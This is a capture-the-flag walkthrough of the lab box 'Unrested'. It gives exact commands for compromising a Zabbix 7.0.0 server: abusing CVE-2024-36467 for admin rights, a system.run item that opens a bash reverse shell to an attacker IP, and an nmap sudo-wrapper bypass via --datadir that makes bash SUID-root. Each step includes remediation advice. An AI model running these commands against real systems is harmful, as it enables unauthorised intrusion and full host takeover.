← all walkthroughs

Unrested

Linux· Medium
owned
2026-10-12
time to own
16m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a Zabbix 7.0.0 monitoring server behind an Apache web front end and signed in to its JSON-RPC API with a low-privilege account, matthew. A missing access-control check in the Zabbix user-update API (CVE-2024-36467) let that account add myself to the Zabbix administrators group.

With administrator API rights, I created a monitoring item that runs an arbitrary command on the server, which returned a reverse shell as the zabbix service account and exposed user.txt. The zabbix account could run a wrapped copy of nmap as root without a password.

The wrapper blocked the usual escape options but not --datadir, so I supplied a malicious nse_main.lua that made /bin/bash SUID-root. A SUID shell then gave full root control of the host.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"

Attack path: how the box was taken

1EnumerationService discovery and version fingerprinting (T1595 Active Scanning)
Identified a Zabbix monitoring stack on the target
A port sweep showed SSH (22), Apache (80) and the Zabbix agent and trapper ports (10050/10051). The web root redirected to a Zabbix login, and the Zabbix web UI and JSON-RPC API were reachable at /zabbix/. The Zabbix version (7.0.0) determined which known vulnerabilities applied.
Open ports 22, 80, 10050, 10051; Apache httpd 2.4.52 (Ubuntu); Zabbix web UI at /zabbix/ with API at /zabbix/api_jsonrpc.php.
Exact commands 2
shell

Full TCP sweep with default scripts and version detection.

$ nmap -p- --min-rate 2000 -sC -sV -oN unrested.nmap $TARGET
shell

apiinfo.version needs no authentication and returns the Zabbix version (7.0.0 here).

$ curl -s -X POST http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' --data '{"jsonrpc":"2.0","method":"apiinfo.version","params":{},"id":1}'
2Initial AccessValid accounts (T1078)
Authenticated to the Zabbix API as the low-privilege user matthew
The engagement started with a valid credential for matthew, a default-role Zabbix user with no extra groups. It was used against the JSON-RPC API to obtain a session token. The token and matthew's user ID (via user.get) were captured live for the next step.
Credential for matthew recorded in the run (matthew: <withheld>); user.login returned an API token.
Exact commands 2
shell

Returns the auth token in 'result'. Use it as <TOKEN> below.

$ curl -s -X POST http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' --data '{"jsonrpc":"2.0","method":"user.login","params":{"username":"matthew","password":"'"$PASSWORD"'"},"id":1}'
shell

Find matthew's userid (<USERID>).

$ curl -s -X POST http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -H 'Authorization: Bearer <TOKEN>' --data '{"jsonrpc":"2.0","method":"user.get","params":{"output":["userid","username"]},"id":2}'
FixProtect and limit Zabbix user credentials and API accessHigh
WeaknessA valid Zabbix account (matthew) was available to an unauthorised user, and any authenticated user could reach the full JSON-RPC API over HTTP. That made the application flaw reachable.
FixRemove or rotate exposed credentials and enforce unique, strong passwords with MFA for the Zabbix frontend. Serve the frontend over HTTPS only, and disable API access for roles that do not need it (Administration > User roles > API access).
3Privilege Escalation (application)Broken access control in Zabbix CUser::update (CVE-2024-36467)
Added matthew to the Zabbix administrators group by abusing a broken access check
In Zabbix 7.0.0, user.update does not enforce access control properly (CVE-2024-36467). A low-privilege user can change their own group membership even though they cannot change their own role. Matthew was added to the 'Zabbix administrators' and 'Internal' user groups, which gave the account administrator-level rights over hosts and items in the API.
user.update with usrgrps 7 and 13 accepted for matthew's own userid.
Exact commands 1
shell

Self-add to Zabbix administrators (7) and Internal (13). Confirm the group IDs first with usergroup.get.

$ curl -s -X POST http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -H 'Authorization: Bearer <TOKEN>' --data '{"jsonrpc":"2.0","method":"user.update","params":{"userid":"<USERID>","usrgrps":[{"usrgrpid":"7"},{"usrgrpid":"13"}]},"id":3}'
FixPatch Zabbix to a release that fixes CVE-2024-36467 and CVE-2024-42327Critical
WeaknessThe server ran Zabbix 7.0.0. Its user-update API did not enforce access control, so a low-privilege user could add themselves to the administrators group. The same release also has an SQL injection in the user-get API.
FixUpgrade Zabbix to the latest 7.0 LTS maintenance release or newer. Until patched, restrict API access (/zabbix/api_jsonrpc.php) to trusted management networks and review Zabbix user-group membership for unexpected changes.
4ExecutionZabbix item with system.run remote command execution (T1059.004 Unix Shell)
Created a Zabbix item that runs a reverse shell, giving code execution as the zabbix user
With administrator API rights, I looked up the monitored host and its interface, then created an agent item whose key uses system.run to execute a bash reverse-shell command. The Zabbix server ran the item and connected back to my listener as the zabbix service account. The item can be forced to run with task.create if it does not fire on its own.
Reverse shell landed: uid=114(zabbix) gid=121(zabbix) groups=121(zabbix).
Exact commands 4
shell

Listener on my machine (run first).

$ nc -lvnp 4444
shell

Get <HOSTID> and <INTERFACEID> of the Zabbix server host.

$ curl -s -X POST http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -H 'Authorization: Bearer <TOKEN>' --data '{"jsonrpc":"2.0","method":"host.get","params":{"output":["hostid","host"],"selectInterfaces":["interfaceid"]},"id":4}'
shell

Creates the item; the shell connects back within seconds. Replace $ATTACKER_IP.

$ curl -s -X POST http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -H 'Authorization: Bearer <TOKEN>' --data '{"jsonrpc":"2.0","method":"item.create","params":{"name":"rs","key_":"system.run[bash -c \"bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1\"]","hostid":"<HOSTID>","type":0,"value_type":1,"interfaceid":"<INTERFACEID>","delay":"1"},"id":5}'
shell

Only if the item does not fire on its own: queue an immediate execution.

$ curl -s -X POST http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -H 'Authorization: Bearer <TOKEN>' --data '{"jsonrpc":"2.0","method":"task.create","params":[{"type":"6","request":{"itemid":"<ITEMID>"}}],"id":6}'
FixDisable remote command execution through Zabbix agent itemsHigh
WeaknessZabbix allowed the system.run item key to execute arbitrary shell commands on the server, so an API administrator could turn monitoring access into code execution as the zabbix user.
FixDo not allow system.run: remove AllowKey=system.run[*] and set DenyKey=system.run[*] in zabbix_agentd.conf (or zabbix_agent2.conf), and make sure EnableRemoteCommands is not enabled. Limit who can create items, and alert on item or task creation by non-administrators.
5FootholdLocal file access with service-account privileges (T1005)
Confirmed the zabbix shell and read the user flag
In the new shell, id confirmed the context was the zabbix service account. user.txt in matthew's home directory was readable by that account and was captured and submitted.
Uid=114(zabbix) gid=121(zabbix) groups=121(zabbix); /home/matthew/user.txt read and accepted as USER-owned.
Exact commands 1
shell

Prove the context first, then read the flag (<user.txt>).

$ id; cat /home/matthew/user.txt
uid=114(zabbix) gid=121(zabbix) groups=121(zabbix)
6Privilege Escalation DiscoverySudo misconfiguration with an incomplete blocklist (T1548.003 Sudo and Sudo Caching)
Found a passwordless sudo rule for a wrapped nmap
Sudo -l showed the zabbix account could run /usr/bin/nmap with any arguments as root without a password. /usr/bin/nmap was a small wrapper script that calls /usr/bin/nmap.original and blocks --interactive, --script, -oG and -iL, the usual nmap-to-root escapes. Reading the wrapper showed it did not block --datadir, which controls where nmap loads its own Lua engine files.
(ALL: ALL) NOPASSWD: /usr/bin/nmap *; /usr/bin/nmap is a 797-byte root-owned script wrapping nmap.original.
Exact commands 2
shell

List sudo rights for the zabbix user.

$ id; sudo -n -l
shell

Inspect the wrapper to see which options it blocks.

$ ls -la /usr/bin/nmap /usr/bin/nmap.original; file /usr/bin/nmap; sed -n '1,160p' /usr/bin/nmap
FixRemove the passwordless sudo rule for nmapCritical
WeaknessThe zabbix service account could run /usr/bin/nmap with any arguments as root without a password. The wrapper script blocked some options but not --datadir, which lets an unauthorised user run arbitrary Lua code as root.
FixRemove the NOPASSWD nmap entry from sudoers, since service accounts should not need it. If scanning as root is truly required, run a fixed, root-owned script that takes no user-supplied arguments instead of a blocklist wrapper. Also monitor for SUID changes on shells (for example, with auditd rules on chmod of /bin/bash).
7Privilege EscalationAbuse of sudo-permitted nmap via --datadir and a malicious NSE engine file (GTFOBins-style, T1548.001 Setuid and Setgid)
Ran my own Lua through nmap's --datadir to get a SUID-root bash
A script scan (-sC) makes nmap load nse_main.lua from its data directory. I wrote a one-line nse_main.lua to /tmp that sets the SUID bit on /bin/bash, then ran the allowed sudo nmap command with --datadir=/tmp. The Lua ran as root. Nmap then aborted with an expected assertion error, but the chmod had already taken effect. Running bash with -p kept the SUID privileges and gave an effective-root shell, from which root.txt was read.
/bin/bash changed to -rwsr-xr-x; shell showed uid=114(zabbix) euid=0(root); /root/root.txt read and accepted as ROOT-owned.
Exact commands 3
shell

Malicious replacement for nmap's Lua engine entry point.

$ printf '%s\n' 'os.execute("chmod 4755 /bin/bash")' > /tmp/nse_main.lua
shell

Runs the Lua as root. An nse_main.cc assertion error is expected; /bin/bash should now be rwsr-xr-x.

$ sudo /usr/bin/nmap --datadir=/tmp -sC localhost; ls -la /bin/bash
shell

Prove euid=0 first, then read the flag (<root.txt>).

$ /bin/bash -p -c '/usr/bin/id; /bin/cat /root/root.txt'
uid=114(zabbix) euid=0(root)

Attack patterns used

The transferable techniques behind this compromise.

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp
10050/tcp
10051/tcp